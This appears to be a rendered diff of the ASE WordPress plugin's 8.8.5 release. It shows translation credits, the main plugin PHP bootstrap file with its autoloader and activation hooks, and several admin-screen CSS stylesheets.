* **[Croatian](https://translate.wordpress.org/locale/hr/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@plug-n-play](https://profiles.wordpress.org/plug-n-play/). Current status: [81 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/hr/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Japanese](https://translate.wordpress.org/locale/ja/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@zionote](https://profiles.wordpress.org/zionote/) et al. Current status: [38 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ja/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Catalan](https://translate.wordpress.org/locale/ca/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [@agendablanca](https://profiles.wordpress.org/agendablanca/), [@lluishospital](https://profiles.wordpress.org/lluishospital/) et al. Current status: [49 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ca/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Bengali (Bangladesh)](https://translate.wordpress.org/locale/bn/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) and Pro (partial). Props to [Ruhani R.](https://profiles.wordpress.org/ruhanirabin/). Current status: [37 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/bn/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Bulgarian](https://translate.wordpress.org/locale/bg/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) and Pro (partial). Props to [Svetoslav S.](https://sslavkov.eu). Current status, [18 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/bg/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Greek](https://translate.wordpress.org/locale/el/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) and Pro (completed). Props to [Stelio C.](https://profiles.wordpress.org/scprojectsgr/). Current status: [38 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/el/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Dutch (Belgium)](https://translate.wordpress.org/locale/nl-be/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [Pieterjan D.](https://profiles.wordpress.org/nekojonez/). Current status, [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/nl-be/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Azerbaijani](https://translate.wordpress.org/locale/az/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [Saeid BGrn](https://profiles.wordpress.org/saeead/). Current status, [1 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/az/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Estonian](https://translate.wordpress.org/locale/et/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) and Pro (completed). Props to [Aleksander K.](https://profiles.wordpress.org/itagentuur/). Current status, [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/et/default/?filters%5Bstatus%5D=untranslated).
|
||||
|
||||
[**See the full changelog >>**](https://www.wpase.com/documentation/changelog/)
|
||||
@@ -0,0 +1,136 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Plugin Name: Admin and Site Enhancements (ASE)
|
||||
* Plugin URI: https://www.wpase.com/plugin-uri
|
||||
* Description: Easily enable enhancements and features that usually require multiple plugins.
|
||||
* Version: 8.8.5
|
||||
* Author: wpase.com
|
||||
* Author URI: https://www.wpase.com/author-uri
|
||||
* License: GPL-2.0+
|
||||
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
|
||||
*/
|
||||
// If this file is called directly, abort.
|
||||
if ( !defined( 'ABSPATH' ) ) {
|
||||
exit;
|
||||
}
|
||||
|
||||
define( 'ASENHA_VERSION', '8.8.5' );
|
||||
define( 'ASENHA_ID', 'asenha' );
|
||||
define( 'ASENHA_SLUG', 'admin-site-enhancements' );
|
||||
define( 'ASENHA_SLUG_U', 'admin_site_enhancements' );
|
||||
define( 'ASENHA_URL', plugins_url( '/', __FILE__ ) ); // e.g. https://www.example.com/wp-content/plugins/this-plugin/
|
||||
define( 'ASENHA_PATH', plugin_dir_path( __FILE__ ) ); // e.g. /home/user/apps/wp-root/wp-content/plugins/this-plugin/
|
||||
// define( 'ASENHA_BASE', plugin_basename( __FILE__ ) ); // e.g. plugin-slug/this-file.php
|
||||
// define( 'ASENHA_FILE', __FILE__ ); // /home/user/apps/wp-root/wp-content/plugins/this-plugin/this-file.php
|
||||
|
||||
/**
|
||||
* Autoload classes defined by this plugin
|
||||
*
|
||||
* @param string $class_name e.g. \ASENHA\Classes\The_Name
|
||||
* @since 1.0.0
|
||||
*/
|
||||
function asenha_autoloader( $class_name ) {
|
||||
|
||||
$namespace = 'ASENHA';
|
||||
|
||||
// Only process classes within this plugin's namespace
|
||||
|
||||
if ( false !== strpos( $class_name, $namespace ) ) {
|
||||
|
||||
// Assemble file path where class is defined
|
||||
|
||||
// \ASENHA\Classes\The_Name => \Classes\The_Name
|
||||
$path = str_replace( $namespace, "", $class_name );
|
||||
|
||||
// \Classes\The_Name => /classes/the_name
|
||||
$path = str_replace( "\\", DIRECTORY_SEPARATOR, strtolower( $path ) );
|
||||
|
||||
// /classes/the_name => /classes/the-name.php
|
||||
$path = str_replace( "_", "-", $path ) . '.php';
|
||||
|
||||
// /classes/the-name.php => /classes/class-the-name.php
|
||||
$path = str_replace( "classes" . DIRECTORY_SEPARATOR, "classes" . DIRECTORY_SEPARATOR . "class-", $path );
|
||||
|
||||
// Remove first '/'
|
||||
$path = substr( $path, 1 );
|
||||
|
||||
// Get /plugin-path/classes/class-the-name.php
|
||||
$path = ASENHA_PATH . $path;
|
||||
|
||||
if ( file_exists( $path ) ) {
|
||||
require_once( $path );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Register autoloading classes
|
||||
spl_autoload_register( 'asenha_autoloader' );
|
||||
|
||||
/**
|
||||
* Code that runs on plugin activation
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
function asenha_on_activation() {
|
||||
$activation = new ASENHA\Classes\Activation;
|
||||
$activation->create_failed_logins_log_table();
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( array_key_exists( 'disable_embeds', $options ) && $options['disable_embeds'] ) {
|
||||
$options['disable_embeds_flush_rewrite_rules_needed'] = true;
|
||||
}
|
||||
|
||||
update_option( ASENHA_SLUG_U, $options, true );
|
||||
}
|
||||
|
||||
/**
|
||||
* Code that runs on plugin deactivation
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
function asenha_on_deactivation() {
|
||||
$deactivation = new ASENHA\Classes\Deactivation;
|
||||
$deactivation->clear_failed_login_attempts_log_cleanup_schedule();
|
||||
$deactivation->delete_failed_logins_log_table();
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( array_key_exists( 'disable_embeds', $options ) && $options['disable_embeds'] ) {
|
||||
$deactivation->disable_embeds_flush_rewrite_rules();
|
||||
}
|
||||
}
|
||||
|
||||
// Register code that runs on plugin activation
|
||||
register_activation_hook( __FILE__, 'asenha_on_activation');
|
||||
|
||||
// Register code that runs on plugin deactivation
|
||||
register_deactivation_hook( __FILE__, 'asenha_on_deactivation' );
|
||||
|
||||
// Load translations
|
||||
function asenha_free_load_textdomain() {
|
||||
load_plugin_textdomain( 'admin-site-enhancements', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
|
||||
}
|
||||
add_action( 'init', 'asenha_free_load_textdomain' );
|
||||
|
||||
// https://make.wordpress.org/core/2024/10/21/i18n-improvements-6-7/
|
||||
// Use when tracing which code is triggering the "_load_textdomain_just_in_time Called Incorrectly" notice
|
||||
// add_action(
|
||||
// 'doing_it_wrong_run',
|
||||
// static function ( $function_name ) {
|
||||
// if ( '_load_textdomain_just_in_time' === $function_name ) {
|
||||
// debug_print_backtrace();
|
||||
// }
|
||||
// }
|
||||
// );
|
||||
|
||||
// Functions for setting up admin menu, admin page, the settings sections and fields and other fondational stuff
|
||||
require_once ASENHA_PATH . 'settings.php';
|
||||
|
||||
// Other required functions
|
||||
require_once ASENHA_PATH . 'functions.php';
|
||||
|
||||
// Load vendor libraries
|
||||
// require_once ASENHA_PATH . 'vendor/autoload.php';
|
||||
|
||||
// Bootstrap all the functionalities of this plugin
|
||||
require_once ASENHA_PATH . 'bootstrap.php';
|
||||
@@ -0,0 +1,180 @@
|
||||
.wrap.admin-menu-organizer {
|
||||
margin: 10px 20px 0;
|
||||
}
|
||||
|
||||
.admin-menu-organizer-main {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.module-description {
|
||||
margin-top: 8px;
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.admin-menu-sortables-wrapper {
|
||||
width: 696px;
|
||||
box-sizing: border-box;
|
||||
margin-top: 16px;
|
||||
padding: 32px 48px 32px;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.admin-menu-actions {
|
||||
position: relative;
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
.admin-menu-actions #amo-save-changes {
|
||||
position: sticky;
|
||||
margin-top: 16px;
|
||||
top: 48px;
|
||||
border-style: solid;
|
||||
border-color: #fff;
|
||||
border-width: 24px 40px;
|
||||
}
|
||||
|
||||
.admin-menu-actions #amo-save-changes:focus {
|
||||
box-shadow: none !important;
|
||||
}
|
||||
|
||||
.asenha-saving-changes,
|
||||
.asenha-changes-saved {
|
||||
position: sticky;
|
||||
}
|
||||
|
||||
.asenha-saving-changes {
|
||||
top: 76px;
|
||||
margin-top: 44px;
|
||||
margin-left: -31px;
|
||||
}
|
||||
|
||||
.asenha-changes-saved {
|
||||
top: 74px;
|
||||
margin-top: 42px;
|
||||
margin-left: -33px;
|
||||
}
|
||||
|
||||
.admin-menu-organizer ul.menu {
|
||||
margin-top: 0;
|
||||
padding-top: 0;
|
||||
/* overflow: auto; */
|
||||
}
|
||||
|
||||
.admin-menu-organizer .menu-item-bar {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
margin: 8px 0 0;
|
||||
}
|
||||
|
||||
.admin-menu-organizer .menu-item-bar .menu-item-handle {
|
||||
box-sizing: border-box;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 3px 15px 3px 7px;
|
||||
max-width: 600px;
|
||||
width: 600px;
|
||||
min-height: 30px;
|
||||
}
|
||||
|
||||
.admin-menu-organizer .title-wrapper {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-wrap: nowrap;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.admin-menu-organizer .menu-item-handle .menu-item-checkbox {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.admin-menu-organizer .menu-item-handle .item-title {
|
||||
display: flex;
|
||||
width: 100%;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-right: 0;
|
||||
line-height: 30px;
|
||||
}
|
||||
.rtl .admin-menu-organizer .menu-item-handle .item-title {
|
||||
|
||||
}
|
||||
|
||||
.admin-menu-organizer .menu-item-handle .item-title .menu-item-title a {
|
||||
color: #666;
|
||||
text-decoration: none;
|
||||
margin-left: 6px;
|
||||
}
|
||||
|
||||
.admin-menu-organizer .menu-item-handle .item-title .menu-item-title a:hover {
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
.menu-item-title input[type="text"],
|
||||
.item-title .title-wrapper input[type="text"] {
|
||||
border: 1px solid #dcdcde;
|
||||
margin-left: -5px;
|
||||
padding: 0 8px 0 4px;
|
||||
font-size: 13px;
|
||||
min-height: 28px;
|
||||
line-height: 28px;
|
||||
}
|
||||
|
||||
.menu-item-title input[type="text"]:focus,
|
||||
.item-title .title-wrapper input[type="text"]:focus {
|
||||
border: 1px solid #999;
|
||||
box-shadow: none;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.menu-item-checkbox-label span {
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
#separator1 .menu-item-title,
|
||||
#separator2 .menu-item-title,
|
||||
#separator-last .menu-item-title,
|
||||
#separator-woocommerce .menu-item-title,
|
||||
li[id^="separator"] .menu-item-title {
|
||||
font-weight: normal;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
/* Scoped to AMO root list so other screens (e.g. ABCE) can style .sortable-placeholder independently. */
|
||||
#custom-admin-menu .sortable-placeholder {
|
||||
width: 600px !important;
|
||||
max-width: 600px !important;
|
||||
height: 46px;
|
||||
min-height: 42px;
|
||||
max-height: 42px;
|
||||
background: #cdddd6;
|
||||
border: 1px dashed #508871;
|
||||
border-radius: 0 !important;
|
||||
}
|
||||
|
||||
.form-table .asenha-subfields td:not(.datatable-td) label.menu-item-checkbox-label {
|
||||
top: 0;
|
||||
}
|
||||
|
||||
#custom-admin-menu .menu-item-depth-0 {
|
||||
display: list-item !important;
|
||||
margin-block-start: 0;
|
||||
padding: 0;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
#custom-admin-menu .parent-menu-item .dashicons-menu {
|
||||
padding: 5px 8px;
|
||||
cursor: move;
|
||||
color: #ddd;
|
||||
}
|
||||
#custom-admin-menu .menu-item-bar .menu-item-handle:hover .dashicons-menu {
|
||||
color: #1d2327;
|
||||
}
|
||||
|
||||
.submenu-sortable li.menu-item {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+1
File diff suppressed because one or more lines are too long
@@ -0,0 +1,165 @@
|
||||
/* Styling for Content Management >> Content Order pages */
|
||||
.page-header {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.page-header h2 {
|
||||
font-size: 23px;
|
||||
font-weight: 400;
|
||||
margin: 0;
|
||||
padding: 9px 0 4px;
|
||||
line-height: 1.3;
|
||||
}
|
||||
|
||||
#screen-meta-links {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#toggles {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#toggle-excerpt {
|
||||
position: relative;
|
||||
top: 2px;
|
||||
}
|
||||
|
||||
#toggles input[type="checkbox"] {
|
||||
margin-left: 8px;
|
||||
}
|
||||
|
||||
#toggles label {
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#item-list {
|
||||
margin-bottom: -20px;
|
||||
}
|
||||
|
||||
#item-list.asenha-content-order li.list-item {
|
||||
position: relative;
|
||||
clear: both;
|
||||
overflow: hidden;
|
||||
margin-bottom: 0;
|
||||
padding: 0;
|
||||
background: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.row.ui-sortable-handle {
|
||||
background: #fff;
|
||||
margin-top: 3px;
|
||||
margin-bottom: 3px;
|
||||
border: 1px solid #c3c4c7;
|
||||
}
|
||||
.row-content {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
position: relative;
|
||||
padding: 11px 16px 9px;
|
||||
font-size: 14px;
|
||||
font-weight: 700;
|
||||
cursor: move;
|
||||
overflow: hidden;
|
||||
}
|
||||
.content-main {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: clip;
|
||||
}
|
||||
.content-additional {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
right: 8px;
|
||||
}
|
||||
.row-content:hover {
|
||||
background: #fff6e5;
|
||||
}
|
||||
.ui-sortable-placeholder {
|
||||
border-radius: 0 !important;
|
||||
background: #cdddd6 !important;
|
||||
border: 1px dashed #508871 !important;
|
||||
visibility: visible !important;
|
||||
}
|
||||
.row-content .dashicons.dashicons-menu {
|
||||
position: relative;
|
||||
top: -1px;
|
||||
margin-right: 4px;
|
||||
}
|
||||
.row-content:hover .dashicons.dashicons-menu {
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
|
||||
|
||||
a.item-title,
|
||||
a.item-view-link {
|
||||
text-decoration: none;
|
||||
}
|
||||
a.item-title:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
.item-status-hidden,
|
||||
.wp-core-ui .button.item-view-link {
|
||||
display: none;
|
||||
}
|
||||
.wp-core-ui .row-content:hover .button.item-view-link {
|
||||
display: inherit;
|
||||
display: flex;
|
||||
}
|
||||
.wp-core-ui .button.item-view-link {
|
||||
font-weight: normal;
|
||||
box-shadow: 0 0 8px 8px #fff6e5;
|
||||
height: 30px;
|
||||
max-height: 30px;
|
||||
min-height: 30px;
|
||||
line-height: 28px;
|
||||
}
|
||||
.has-child-label {
|
||||
}
|
||||
|
||||
|
||||
.content-main .fader {
|
||||
position: absolute;
|
||||
top: 1px;
|
||||
right: 1px;
|
||||
width: 48px;
|
||||
height: 38px;
|
||||
background: ;
|
||||
background-image: linear-gradient(to right, rgba(255,255,255,0) , #ffffff);
|
||||
}
|
||||
|
||||
.row-content:hover .content-main .fader {
|
||||
background-image: linear-gradient(to right, rgba(255,246,229,0) , #fff6e5);
|
||||
}
|
||||
|
||||
.updating-order-notice {
|
||||
box-sizing: border-box;
|
||||
position: absolute;
|
||||
right: 8px;
|
||||
z-index: 10;
|
||||
height: 32px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
background: #eee;
|
||||
padding: 6px 12px 6px 8px;
|
||||
border: 1px solid #c3c4c7;
|
||||
}
|
||||
.spinner-img {
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
margin: 2px 6px 2px 2px;
|
||||
}
|
||||
.updating-order-notice .dashicons.dashicons-saved {
|
||||
color: green;
|
||||
margin-right: 4px;
|
||||
}
|
||||
+15
File diff suppressed because one or more lines are too long
+3
@@ -0,0 +1,3 @@
|
||||
.asenha-content-duplication-status-info .components-button.is-secondary {
|
||||
margin-top: 8px;
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
.jBox-Modal.admin-notices-modal .jBox-container {
|
||||
height: 100vh;
|
||||
border-radius: 0;
|
||||
background: #f0f0f1;
|
||||
}
|
||||
|
||||
.admin-notices-modal.jBox-closeButton-box .jBox-closeButton {
|
||||
top: 0;
|
||||
right: 0;
|
||||
background: none;
|
||||
}
|
||||
|
||||
.admin-notices-modal.jBox-closeButton-box .jBox-closeButton svg {
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
margin-top: 0;
|
||||
margin-right: -2px;
|
||||
}
|
||||
|
||||
.jBox-Modal.admin-notices-modal .jBox-content {
|
||||
padding: 8px 28px 32px;
|
||||
}
|
||||
|
||||
.asenha-admin-notices-drawer > div {
|
||||
margin: 0 0 16px 0;
|
||||
padding: 12px;
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
/* Adapted from https://plugins.trac.wordpress.org/browser/image-sizes-panel/tags/0.4/admin/css/admin.css */
|
||||
|
||||
#image_sizes .inside {
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
}
|
||||
|
||||
#image_sizes table {
|
||||
border: none;
|
||||
border-collapse: collapse;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#image_sizes table th {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#image_sizes table td {
|
||||
border-bottom: 1px solid #eee;
|
||||
padding: 6px 12px;
|
||||
text-align: left;
|
||||
vertical-align: top;
|
||||
}
|
||||
|
||||
#image_sizes table .size .name {
|
||||
font-weight: bold;
|
||||
display: block;
|
||||
max-width: 135px;
|
||||
min-width: 1px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
#image_sizes table .dim {
|
||||
padding-left: 0px;
|
||||
text-align: right;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
#image_sizes table td.copy {
|
||||
padding-right: 0px;
|
||||
width: 20px;
|
||||
}
|
||||
|
||||
#image_sizes table td .copy-url-button {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
#image_sizes table td .copy-url-button:hover {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#image_sizes table td .copy-url-button:hover svg g {
|
||||
stroke: #135e96;
|
||||
}
|
||||
|
||||
#image_sizes .image-size-row {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
#image_sizes .image-size-row .url-copied {
|
||||
position: absolute;
|
||||
top: 4px;
|
||||
left: 40px;
|
||||
background: #fff;
|
||||
border: 1px solid #ccc;
|
||||
padding: 2px 8px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,30 @@
|
||||
/* Content Admin >> Show IDs */
|
||||
|
||||
#asenha-id {
|
||||
width: 50px;
|
||||
}
|
||||
|
||||
/* Content Admin >> Show Featured Images */
|
||||
|
||||
#asenha-featured-image {
|
||||
width: 110px;
|
||||
}
|
||||
|
||||
.asenha-featured-image img {
|
||||
width: 110px;
|
||||
height: auto;
|
||||
border: 1px solid #e5e5e5;
|
||||
}
|
||||
|
||||
/* Content Management >> Enable SVG Upload */
|
||||
|
||||
table.media .column-title .media-icon img[src*='.svg'] {
|
||||
width: 100%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/* Show ID in Action Row */
|
||||
|
||||
.row-actions .asenha-list-table-item-id {
|
||||
color: #50575e;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#content-order-button {
|
||||
display: inline;
|
||||
margin-left: 5px;
|
||||
}
|
||||
|
||||
.filter-items #content-order-button {
|
||||
display: inline-block;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
#content-order-button a {
|
||||
padding-left: 12px;
|
||||
padding-right: 12px;
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
/* CSS styles here are for the maintenance page set through Utilities >> Maintenance Mode */
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html, body {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #ffffff;
|
||||
background-attachment: fixed;
|
||||
background-size: cover;
|
||||
}
|
||||
|
||||
.page-wrapper {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100vh;
|
||||
/* background-image: linear-gradient(to bottom, #ffffff, #eeeeee, #dddddd, #cccccc, #bbbbbb); */
|
||||
}
|
||||
|
||||
.page-overlay {
|
||||
position: absolute;
|
||||
display: block;
|
||||
z-index: 0;
|
||||
top: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
}
|
||||
|
||||
.message-box {
|
||||
position: relative;
|
||||
display: flex;
|
||||
z-index: 1;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
width: 50%;
|
||||
font-family: "Arial", "Helvetica", sans-serif;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.message-box h1 {
|
||||
font-size: 3em;
|
||||
font-weight: 500;
|
||||
margin-top: 0;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.message-box h1 p {
|
||||
margin-top: 0;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.message-box .description {
|
||||
font-size: 1.25em;
|
||||
line-height: 1.7;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 920px) {
|
||||
|
||||
.message-box {
|
||||
width: 100%;
|
||||
padding: 0 15%;
|
||||
}
|
||||
|
||||
.message-box h1 {
|
||||
font-size: 2em;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@media screen and (max-width: 480px) {
|
||||
|
||||
.message-box {
|
||||
width: 100%;
|
||||
padding: 0 40px;
|
||||
}
|
||||
|
||||
.message-box h1 {
|
||||
font-size: 1.5em;
|
||||
}
|
||||
|
||||
.message-box .description {
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
.media-modal-content .media-frame .media-toolbar select.attachment-filters {
|
||||
padding-left: 8px;
|
||||
padding-right: 8px;
|
||||
}
|
||||
|
||||
.media-modal-content .media-frame .media-toolbar select#media-attachment-orderby.attachment-filters,
|
||||
.media-modal-content .media-frame .media-toolbar select#media-attachment-order.attachment-filters {
|
||||
display: none;
|
||||
}
|
||||
|
||||
form.compat-item table.compat-attachment-fields tr td.field div.categorydiv div.tabs-panel {
|
||||
margin-top: 4px !important;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
/* Hide media replace compat field in media modals (grid replace is Pro; shown on upload.php below). */
|
||||
.compat-field-asenha-media-replace {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
|
||||
|
||||
.wp-core-ui .button-secondary.asenha-media-replace-button {
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.asenha-media-replace-notes {
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.asenha-media-replace-notes p:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.compat-item .compat-field-asenha-media-replace th.label {
|
||||
display: none;
|
||||
min-width: 0%;
|
||||
width: 0%;
|
||||
}
|
||||
|
||||
.compat-item .compat-field-asenha-media-replace .field {
|
||||
float: left;
|
||||
width: 99.8%;
|
||||
}
|
||||
|
||||
.compat-field-asenha-media-replace .postbox {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.compat-field-asenha-media-replace .postbox .inside {
|
||||
margin-top: 8px;
|
||||
margin-bottom: 0;
|
||||
padding-bottom: 0;
|
||||
}
|
||||
|
||||
.media-modal .compat-field-asenha-media-replace .postbox .inside {
|
||||
padding-bottom: 12px;
|
||||
}
|
||||
|
||||
#media-replace-div .postbox .inside {
|
||||
padding-bottom: 0;
|
||||
}
|
||||
|
||||
.compat-field-asenha-media-replace .postbox-header .hndle {
|
||||
font-size: 1.125em;
|
||||
line-height: 1;
|
||||
padding-left: 12px;
|
||||
padding-right: 12px;
|
||||
}
|
||||
|
||||
.mime-type-warning {
|
||||
font-size: 13px;
|
||||
height: 32px;
|
||||
line-height: 32px;
|
||||
margin-top: 15px;
|
||||
color: red;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.media-frame-toolbar .media-toolbar-primary {
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
align-items: center;
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,3 @@
|
||||
body {
|
||||
font-size: 13px;
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
/* Admin Interface >> Hide Howdy */
|
||||
#wp-admin-bar-my-account.no-avatar > .ab-item:before {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Content Duplication */
|
||||
.additional-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
padding: 6px 10px 8px;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.additional-actions #duplication:before,
|
||||
.additional-actions #public-preview:before {
|
||||
content: "\f186";
|
||||
position: relative;
|
||||
top: -1px;
|
||||
font: normal 20px / 1 dashicons;
|
||||
color: #8c8f94;
|
||||
speak: never;
|
||||
display: inline-block;
|
||||
margin-left: -1px;
|
||||
padding-right: 6px;
|
||||
vertical-align: top;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
}
|
||||
|
||||
.additional-actions #public-preview:before {
|
||||
content: "\f11f";
|
||||
}
|
||||
|
||||
.asenha-public-preview-row {
|
||||
align-items: center;
|
||||
gap: 2px;
|
||||
}
|
||||
|
||||
.additional-actions.asenha-public-preview-row {
|
||||
padding: 6px 10px 4px;
|
||||
}
|
||||
|
||||
.asenha-public-preview-row .asenha-public-preview-reset,
|
||||
.asenha-public-preview-row .asenha-copy-preview-link-button {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 0 4px;
|
||||
margin: 0;
|
||||
min-height: 0;
|
||||
line-height: 1;
|
||||
vertical-align: middle;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.asenha-public-preview-row .asenha-copy-preview-link-button {
|
||||
margin-left: 4px;
|
||||
}
|
||||
|
||||
.asenha-public-preview-row .asenha-public-preview-reset .dashicons {
|
||||
font-size: 18px;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
}
|
||||
|
||||
.asenha-public-preview-row .asenha-public-preview-icon-group {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0;
|
||||
}
|
||||
|
||||
#misc-publishing-actions .asenha-public-preview-row .asenha-copy-preview-link-button {
|
||||
color: var(--wp-admin-theme-color, #2271b1);
|
||||
}
|
||||
|
||||
#misc-publishing-actions .asenha-public-preview-row .asenha-copy-preview-link-button:hover {
|
||||
color: var(--wp-admin-theme-color-darker-10, #135e96);
|
||||
}
|
||||
|
||||
#misc-publishing-actions .asenha-public-preview-row .asenha-copy-preview-link-button svg {
|
||||
display: block;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
}
|
||||
|
||||
#misc-publishing-actions .asenha-public-preview-expiry {
|
||||
margin: 0;
|
||||
padding: 0 10px 8px 35px;
|
||||
font-size: 12px;
|
||||
line-height: 1.4;
|
||||
color: #646970;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
/* Utilities >> Enable Login Logout */
|
||||
.accordion-section #login-logout-links-checklist.categorychecklist {
|
||||
margin: -13px 0 13px 0;
|
||||
}
|
||||
|
||||
/* Content Management >> Enable External Permalink */
|
||||
/* Custom Code >> Custom Body Class */
|
||||
.external-permalink-input,
|
||||
.custom-body-class-input {
|
||||
padding: 8px 0 0;
|
